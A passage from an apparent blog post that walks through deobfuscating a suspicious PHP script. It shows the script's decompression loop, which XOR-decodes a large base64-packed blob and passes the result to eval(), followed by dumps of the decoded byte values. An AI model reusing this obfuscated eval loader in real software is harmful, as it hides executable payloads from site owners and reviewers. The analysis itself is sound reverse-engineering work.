style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">            <span style="color: #0000ff;">$a</span>+=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&gt;&gt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">            <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$a</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                <span style="color: #0000ff;">$b</span>=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&amp;0x0f<span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+3</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$c</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$c</span>&lt;<span style="color: #0000ff;">$b</span>;<span style="color: #0000ff;">$c</span>++<span style="color: #66cc66;">&#41;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                    <span style="color: #0000ff;">$h</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$e</span>+<span style="color: #0000ff;">$c</span><span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$h</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$e</span>-<span style="color: #0000ff;">$a</span>+<span style="color: #0000ff;">$c</span><span style="color: #66cc66;">&#93;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                <span style="color: #0000ff;">$e</span>+=<span style="color: #0000ff;">$b</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">            <span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #66cc66;">&#123;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                <span style="color: #0000ff;">$b</span>=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                <span style="color: #0000ff;">$b</span>+=<a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+16</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$c</span>=<span style="color: #cc66cc;">0</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                    <span style="color: #0000ff;">$c</span>&lt;<span style="color: #0000ff;">$b</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                    <span style="color: #0000ff;">$h</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$e</span>+<span style="color: #0000ff;">$c</span>++<span style="color: #66cc66;">&#93;</span>=<a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                <span style="color: #0000ff;">$d</span>++;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                <span style="color: #0000ff;">$e</span>+=<span style="color: #0000ff;">$b</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">            <span style="color: #66cc66;">&#125;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">        <span style="color: #66cc66;">&#125;</span> <span style="color: #b1b100;">else</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">            <span style="color: #0000ff;">$h</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$e</span>++<span style="color: #66cc66;">&#93;</span>=<a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">        <span style="color: #0000ff;">$g</span>&lt;&lt;=<span style="color: #cc66cc;">1</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">        <span style="color: #0000ff;">$f</span>--;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #66cc66;">&#125;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$d</span>=<span style="color: #cc66cc;">0</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$f</span>=<span style="color: #ff0000;">&quot;?&quot;</span>.<a href="http://www.php.net/chr"><span style="color: #000066;">chr</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">62</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">//here</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$i</span>=<span style="color: #ff0000;">&quot;&quot;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$d</span>&lt;<span style="color: #0000ff;">$e</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">        <span style="color: #0000ff;">$i</span>.=<a href="http://www.php.net/chr"><span style="color: #000066;">chr</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$h</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span>++<span style="color: #66cc66;">&#93;</span>^0x07<span style="color: #66cc66;">&#41;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #66cc66;">&#125;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$f</span>.=<span style="color: #0000ff;">$i</span>.<a href="http://www.php.net/chr"><span style="color: #000066;">chr</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">60</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #ff0000;">&quot;?&quot;</span>; <span style="color: #808080; font-style: italic;">//here</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$f</span><span style="color: #66cc66;">&#41;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #000000; font-weight: bold;">?&gt;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div></li></ol></pre>
<p>At this point its almost readable, although astute observers will have noted one variable that's weird. $o is wrapped in a base64_decode call, and bound to $l. $o is, shockingly enough, 44K of... packed binary. I didn't notice this until someone else pointed it out, I just glossed over all that junk and had started on the obvious eval command. To get a good view of it, try <a href="http://pastebin.com/f60039b67">here</a>.</p>
<p>Line 9 of the above can be simplified, so let's do that and turn it into the following (just to get an idea of the exact numbers we can). We can also run the strlen() call and learn that the length of $l is 33222! Geez... So let's replace that in the for loop on (old) line 12. $e after the massive loop becomes 83760, we can replace that also. And finally I replace the chr() calls towards the end and just put them into the strings that they're concatted to.</p>
<pre class="php">&nbsp;
    <span style="color: #0000ff;">$ga</span> = <a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span>; <span style="color: #808080; font-style: italic;">//48</span>
    <span style="color: #0000ff;">$gb</span> = <a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">//0</span>
    <span style="color: #0000ff;">$g</span> = <span style="color: #0000ff;">$ga</span> + <span style="color: #0000ff;">$gb</span>; <span style="color: #808080; font-style: italic;">//48</span>
    ....
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$d</span>&lt;<span style="color: #cc66cc;">33222</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
    ....
    <span style="color: #0000ff;">$f</span>=<span style="color: #ff0000;">&quot;?&gt;&quot;</span>;
    ....
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$d</span>&lt;<span style="color: #cc66cc;">83760</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
    ....
    <span style="color: #0000ff;">$f</span>.=<span style="color: #0000ff;">$i</span>.<span style="color: #ff0000;">&quot;&lt;?&quot;</span>;
&nbsp;</pre>
<p>So, where does this leave us? We have a nice little (readable) <a href="http://pastebin.com/f3ca47774">script</a> that does (something) on a HUGE bit of packed binary. Now, if you look at the for loop there, its not going to be fun to step through. Our index goes up to 33222, and is incremented by at most 6 every iteration. At worst you'll be stepping by 1. Well, the eval() command isn't until the end, so lets just see what that nasty big loop spits out, hmm? As long as you die() before the eval command, you'll be alright. What this spits out is a nasty huge array...</p>
<pre class="php">&nbsp;
<a href="http://www.php.net/array"><span style="color: #000066;">Array</span></a>
<span style="color: #66cc66;">&#40;</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">59</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">56</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">119</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">3</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">111</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">119</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">5</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">13</span>
    <span style="color: #808080; font-style: italic;">//....&lt;snip 83000ish lines&gt;</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">83754</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">97</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">83755</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">60</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">83756</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">13</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">83757</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">13</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">83758</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">56</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">83759</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">57</span>
<span style="color: #66cc66;">&#41;</span>
&nbsp;</pre>
<p>Now that's just lovely. Hmm, but looking at the values it gives me an idea. I decided to spit out an array of the values from the right side, and how many times they're referenced.</p>
<pre class="php">&nbsp;
<a href="http://www.php.net/array"><span style="color: #000066;">Array</span></a>
<span style="color: #66cc66;">&#40;</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">59</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">93</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">56</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">119</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1110</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">111</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">2748</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">13</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">630</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">36</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">70</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">35</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">349</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">99</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1773</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">98</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">8490</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">101</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1112</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">114</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3197</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">96</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1525</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">39</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">7322</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">58</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">227</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">54</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">153</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">60</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">577</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">107</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3064</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">110</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3057</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">105</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">4299</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">108</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1170</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">102</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">4179</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">125</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">766</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">51</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">94</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">104</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">2476</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">116</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3241</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">115</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">4404</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">88</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">414</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">84</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">541</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">66</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">354</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">85</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">163</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">81</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">130</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">92</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">19</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">32</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1487</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">79</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">425</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">83</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">386</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">87</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">187</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">72</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">101</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">90</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">19</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">97</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">635</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">47</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">127</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">46</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">127</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">100</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">2031</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">37</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">305</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">61</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">391</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">41</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">886</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">117</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">4419</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">57</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">100</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">86</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">2</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">82</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">79</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">78</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">59</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">106</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1421</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">69</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">438</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">112</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1295</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">42</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">688</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">126</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">198</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">40</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1630</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">53</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">110</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">52</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">82</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">55</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">105</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">63</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">30</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">67</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">209</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">74</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">153</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">74</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">48</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">37</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">62</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">27</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">113</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">313</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">89</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">43</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3496</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">70</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">297</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">73</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">169</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">68</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">172</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">80</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">271</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">14</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1161</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">65</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">243</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">76</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">337</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">127</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">186</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">95</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">10</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">93</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">47</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">64</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">213</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">33</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">442</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">75</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">103</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">49</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">34</span>
